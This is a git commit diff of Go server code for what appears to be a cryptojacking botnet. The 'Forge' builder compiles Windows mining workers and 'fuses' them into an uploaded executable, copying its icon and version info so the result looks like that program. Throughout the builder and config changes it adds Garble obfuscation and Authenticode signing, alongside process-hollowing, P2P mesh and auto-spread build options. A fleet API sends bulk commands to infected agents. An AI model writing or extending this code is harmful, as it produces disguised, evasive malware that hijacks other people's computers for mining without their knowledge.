Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
@@ -38,6 +38,11 @@ type ServerSettings struct {
|
||||
StrictWalletValidation bool `json:"strict_wallet_validation"`
|
||||
DashboardSubtitle string `json:"dashboard_subtitle"`
|
||||
OpenFirewallOnStart bool `json:"open_firewall_on_start"`
|
||||
ObfuscateDefault bool `json:"obfuscate_default"`
|
||||
SignEnabled bool `json:"sign_enabled"`
|
||||
SignCertThumbprint string `json:"sign_cert_thumbprint"`
|
||||
SignToolPath string `json:"sign_tool_path"`
|
||||
SignTimestampURL string `json:"sign_timestamp_url"`
|
||||
}
|
||||
|
||||
type PoolConfig struct {
|
||||
@@ -159,6 +164,9 @@ func DefaultConfig() *Config {
|
||||
StrictWalletValidation: false,
|
||||
DashboardSubtitle: "security is just an emotion",
|
||||
OpenFirewallOnStart: true,
|
||||
ObfuscateDefault: false,
|
||||
SignEnabled: false,
|
||||
SignTimestampURL: "http://timestamp.digicert.com",
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -338,6 +346,17 @@ func mergeConfig(dst, src *Config) {
|
||||
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
||||
}
|
||||
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
||||
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
||||
dst.Server.SignEnabled = src.Server.SignEnabled
|
||||
if src.Server.SignCertThumbprint != "" {
|
||||
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
||||
}
|
||||
if src.Server.SignToolPath != "" {
|
||||
dst.Server.SignToolPath = src.Server.SignToolPath
|
||||
}
|
||||
if src.Server.SignTimestampURL != "" {
|
||||
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) Save() error {
|
||||
|
||||
@@ -11,11 +11,18 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect
|
||||
github.com/dustin/go-humanize v1.0.1 // indirect
|
||||
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/ncruces/go-strftime v0.1.9 // indirect
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
|
||||
github.com/russross/blackfriday/v2 v2.1.0 // indirect
|
||||
github.com/tc-hib/go-winres v0.3.1 // indirect
|
||||
github.com/tc-hib/winres v0.1.6 // indirect
|
||||
github.com/urfave/cli/v2 v2.3.0 // indirect
|
||||
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb // indirect
|
||||
golang.org/x/net v0.17.0 // indirect
|
||||
golang.org/x/sys v0.18.0 // indirect
|
||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
|
||||
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
|
||||
github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s=
|
||||
@@ -18,10 +22,25 @@ github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o
|
||||
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
|
||||
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
|
||||
github.com/tc-hib/go-winres v0.3.1 h1:9r67V7Ep34yyx8SL716BzcKePRvEBOjan47SmMnxEdE=
|
||||
github.com/tc-hib/go-winres v0.3.1/go.mod h1:lTPf0MW3eu6rmvMyLrPXSy6xsSz4t5dRxB7dc5YFP6k=
|
||||
github.com/tc-hib/winres v0.1.6 h1:qgsYHze+BxQPEYilxIz/KCQGaClvI2+yLBAZs+3+0B8=
|
||||
github.com/tc-hib/winres v0.1.6/go.mod h1:pe6dOR40VOrGz8PkzreVKNvEKnlE8t4yR8A8naL+t7A=
|
||||
github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M=
|
||||
github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI=
|
||||
golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
||||
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb h1:fqpd0EBDzlHRCjiphRR5Zo/RSWWQlWv34418dnEixWk=
|
||||
golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
|
||||
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
|
||||
golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
|
||||
@@ -29,8 +48,11 @@ golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
|
||||
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw=
|
||||
golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk=
|
||||
modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
|
||||
modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA=
|
||||
|
||||
@@ -150,6 +150,84 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
}
|
||||
|
||||
type agentMetaRequest struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var req agentMetaRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if _, err := f.db.GetAgent(id); err != nil {
|
||||
http.Error(w, "agent not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
agent, _ := f.db.GetAgent(id)
|
||||
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
|
||||
}
|
||||
|
||||
type bulkCommandRequest struct {
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Action string `json:"action"`
|
||||
Command string `json:"command,omitempty"`
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
||||
if f.ws == nil {
|
||||
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
var req bulkCommandRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid body", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Action == "" {
|
||||
http.Error(w, "action is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(req.AgentIDs) == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "agent_ids is required",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
args := map[string]interface{}{}
|
||||
if req.Command != "" {
|
||||
args["command"] = req.Command
|
||||
}
|
||||
|
||||
sent := 0
|
||||
failed := 0
|
||||
for _, id := range req.AgentIDs {
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
failed++
|
||||
} else {
|
||||
sent++
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": sent > 0,
|
||||
"sent": sent,
|
||||
"failed": failed,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
|
||||
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
||||
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
||||
const networkHashrate = 3_000_000_000.0
|
||||
|
||||
@@ -126,6 +126,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
if fleetHandler != nil {
|
||||
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
||||
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
||||
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
||||
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
|
||||
}
|
||||
|
||||
// Fleet ops
|
||||
@@ -150,6 +152,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
|
||||
// Builder
|
||||
r.Post("/builder/build", builderHandler.ServeHTTP)
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
|
||||
// Blueprints (config presets)
|
||||
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
||||
|
||||
39
server/internal/api/ws_types.go
Normal file
39
server/internal/api/ws_types.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package api
|
||||
|
||||
// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts).
|
||||
|
||||
type WSDashboardInit struct {
|
||||
Agents []interface{} `json:"agents"`
|
||||
}
|
||||
|
||||
type WSAgentOffline struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
}
|
||||
|
||||
type WSStatsUpdate struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
Hashrate15m float64 `json:"hashrate_15m"`
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct,omitempty"`
|
||||
UptimeSeconds int `json:"uptime_seconds,omitempty"`
|
||||
SharesSubmitted int `json:"shares_submitted,omitempty"`
|
||||
SharesAccepted int `json:"shares_accepted,omitempty"`
|
||||
}
|
||||
|
||||
type WSCommandResult struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Action string `json:"action"`
|
||||
Success bool `json:"success"`
|
||||
Message string `json:"message,omitempty"`
|
||||
}
|
||||
|
||||
type WSAgentLog struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
|
||||
type WSServerLog struct {
|
||||
Line string `json:"line"`
|
||||
}
|
||||
62
server/internal/builder/compile.go
Normal file
62
server/internal/builder/compile.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
||||
var tags []string
|
||||
if req.ProcessHollowing {
|
||||
tags = append(tags, "hollow")
|
||||
}
|
||||
if req.MeshP2P {
|
||||
tags = append(tags, "p2p")
|
||||
}
|
||||
return tags
|
||||
}
|
||||
|
||||
func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
|
||||
if req.Obfuscate {
|
||||
return true
|
||||
}
|
||||
return h.policy.DefaultObfuscate
|
||||
}
|
||||
|
||||
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != ""
|
||||
if obfuscate && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
129
server/internal/builder/estimate.go
Normal file
129
server/internal/builder/estimate.go
Normal file
@@ -0,0 +1,129 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultWorkerBytes int64 = 12 * 1024 * 1024
|
||||
defaultFusionStubBytes int64 = 2_500_000
|
||||
resourcePatchOverhead int64 = 150_000
|
||||
)
|
||||
|
||||
type FusionEstimateResponse struct {
|
||||
PrepBytes int64 `json:"prep_bytes"`
|
||||
PrepName string `json:"prep_name"`
|
||||
EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
|
||||
EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
|
||||
EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
|
||||
EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
|
||||
OutputFileName string `json:"output_file_name"`
|
||||
ProjectRootPath string `json:"project_root_path"`
|
||||
ArchivePathHint string `json:"archive_path_hint"`
|
||||
ExportPath string `json:"export_path,omitempty"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
Notes []string `json:"notes"`
|
||||
}
|
||||
|
||||
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
|
||||
outputName := req.FusionOutputName
|
||||
if outputName == "" {
|
||||
outputName = prepName
|
||||
}
|
||||
if outputName == "" {
|
||||
outputName = "prep.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
|
||||
outputName += ".exe"
|
||||
}
|
||||
outputName = sanitizeFileName(outputName)
|
||||
|
||||
workerBytes := h.estimateWorkerBytes()
|
||||
stubBytes := defaultFusionStubBytes
|
||||
total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
|
||||
|
||||
root := h.projectRoot
|
||||
if root == "" || root == "." {
|
||||
root, _ = filepath.Abs(".")
|
||||
}
|
||||
projectOut := filepath.Join(root, outputName)
|
||||
|
||||
resp := FusionEstimateResponse{
|
||||
PrepBytes: prepSize,
|
||||
PrepName: prepName,
|
||||
EstimatedWorkerBytes: workerBytes,
|
||||
EstimatedFusionStubBytes: stubBytes,
|
||||
EstimatedResourcePatchBytes: resourcePatchOverhead,
|
||||
EstimatedTotalBytes: total,
|
||||
OutputFileName: outputName,
|
||||
ProjectRootPath: projectOut,
|
||||
ArchivePathHint: filepath.Join(h.dataDir, "builds", "<build-id>", outputName),
|
||||
Obfuscate: h.shouldObfuscate(req),
|
||||
SignBuild: req.SignBuild,
|
||||
Notes: []string{
|
||||
fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
|
||||
fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
|
||||
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
|
||||
"Final size may differ slightly after icon + version info patch.",
|
||||
},
|
||||
}
|
||||
|
||||
if strings.TrimSpace(req.OutputDir) != "" {
|
||||
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
|
||||
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
|
||||
resp.ExportPath = filepath.Join(root, clean, outputName)
|
||||
resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
|
||||
}
|
||||
}
|
||||
|
||||
if h.shouldObfuscate(req) && h.garblePath == "" {
|
||||
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).")
|
||||
}
|
||||
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
|
||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||
}
|
||||
|
||||
_ = prepPath
|
||||
return resp
|
||||
}
|
||||
|
||||
func (h *Handler) estimateWorkerBytes() int64 {
|
||||
if h.db == nil {
|
||||
return defaultWorkerBytes
|
||||
}
|
||||
builds, err := h.db.ListBuilds(40)
|
||||
if err != nil || len(builds) == 0 {
|
||||
return defaultWorkerBytes
|
||||
}
|
||||
var sum int64
|
||||
var count int64
|
||||
for _, b := range builds {
|
||||
base := strings.ToLower(filepath.Base(b.FilePath))
|
||||
if strings.HasPrefix(base, "worker-") || strings.HasPrefix(base, "install-") {
|
||||
if b.FileSize > 0 {
|
||||
sum += b.FileSize
|
||||
count++
|
||||
}
|
||||
}
|
||||
}
|
||||
if count == 0 {
|
||||
return defaultWorkerBytes
|
||||
}
|
||||
return sum / count
|
||||
}
|
||||
|
||||
func formatBytes(n int64) string {
|
||||
const unit = 1024
|
||||
if n < unit {
|
||||
return fmt.Sprintf("%d B", n)
|
||||
}
|
||||
div, exp := int64(unit), 0
|
||||
for v := n / unit; v >= unit; v /= unit {
|
||||
div *= unit
|
||||
exp++
|
||||
}
|
||||
return fmt.Sprintf("%.2f %cB", float64(n)/float64(div), "KMGTPE"[exp])
|
||||
}
|
||||
29
server/internal/builder/estimate_test.go
Normal file
29
server/internal/builder/estimate_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestEstimateFusionBuildTotals(t *testing.T) {
|
||||
h := &Handler{
|
||||
dataDir: t.TempDir(),
|
||||
projectRoot: t.TempDir(),
|
||||
}
|
||||
req := &BuildRequest{
|
||||
FusionEnabled: true,
|
||||
FusionOutputName: "MyApp.exe",
|
||||
OutputDir: "exports",
|
||||
Obfuscate: true,
|
||||
}
|
||||
got := h.estimateFusionBuild(req, "", 5*1024*1024, "MyApp.exe")
|
||||
if got.PrepBytes != 5*1024*1024 {
|
||||
t.Fatalf("prep bytes: got %d", got.PrepBytes)
|
||||
}
|
||||
if got.EstimatedTotalBytes <= got.PrepBytes {
|
||||
t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
|
||||
}
|
||||
if got.OutputFileName != "MyApp.exe" {
|
||||
t.Fatalf("output name: %s", got.OutputFileName)
|
||||
}
|
||||
if got.ExportPath == "" {
|
||||
t.Fatal("expected export path")
|
||||
}
|
||||
}
|
||||
@@ -2,9 +2,7 @@ package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
@@ -62,21 +60,12 @@ func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrd
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
|
||||
|
||||
if err := h.prepareFusionWinres(fusionDir, prepPath); err != nil {
|
||||
log.Printf("[Fusion] icon from prep not applied (fused exe may use default Go icon): %v", err)
|
||||
}
|
||||
|
||||
ldflags := fusionLdflags(prepPath)
|
||||
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
|
||||
cmd.Dir = fusionDir
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out)))
|
||||
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
|
||||
@@ -65,6 +65,8 @@ type BuildRequest struct {
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
}
|
||||
|
||||
type BuildResponse struct {
|
||||
@@ -82,6 +84,8 @@ type BuildResponse struct {
|
||||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Signed bool `json:"signed,omitempty"`
|
||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
@@ -91,12 +95,24 @@ type Handler struct {
|
||||
agentSrcDir string
|
||||
projectRoot string
|
||||
goBinPath string
|
||||
garblePath string
|
||||
goWinresPath string
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
}
|
||||
|
||||
type SignPolicy struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
CertThumbprint string `json:"cert_thumbprint"`
|
||||
ToolPath string `json:"tool_path"`
|
||||
TimestampURL string `json:"timestamp_url"`
|
||||
}
|
||||
|
||||
type BuildPolicy struct {
|
||||
StrictWalletValidation bool
|
||||
MaxBuildSizeMB int
|
||||
DefaultObfuscate bool
|
||||
Sign SignPolicy
|
||||
}
|
||||
|
||||
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
||||
@@ -108,13 +124,15 @@ func NewHandler(database *db.Database, dataDir string, agentSrcDir string, proje
|
||||
if _, err := exec.LookPath("go"); err == nil {
|
||||
goBin = "go"
|
||||
}
|
||||
return &Handler{
|
||||
h := &Handler{
|
||||
db: database,
|
||||
dataDir: dataDir,
|
||||
agentSrcDir: agentSrcDir,
|
||||
projectRoot: projectRoot,
|
||||
goBinPath: goBin,
|
||||
}
|
||||
h.resolveToolPaths(projectRoot)
|
||||
return h
|
||||
}
|
||||
|
||||
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -198,6 +216,75 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
var req BuildRequest
|
||||
var prepPath string
|
||||
var prepSize int64
|
||||
var prepName string
|
||||
var cleanupPrep func()
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
configJSON := r.FormValue("config")
|
||||
if configJSON == "" {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
|
||||
return
|
||||
}
|
||||
file, header, err := r.FormFile("prep_exe")
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
if header != nil {
|
||||
prepSize = header.Size
|
||||
prepName = header.Filename
|
||||
}
|
||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
|
||||
return
|
||||
}
|
||||
|
||||
if cleanupPrep != nil {
|
||||
defer cleanupPrep()
|
||||
}
|
||||
|
||||
if err := h.normalizeRequest(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if !req.FusionEnabled {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
|
||||
return
|
||||
}
|
||||
if req.FusionOutputName == "" && prepName != "" {
|
||||
req.FusionOutputName = prepName
|
||||
}
|
||||
|
||||
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
|
||||
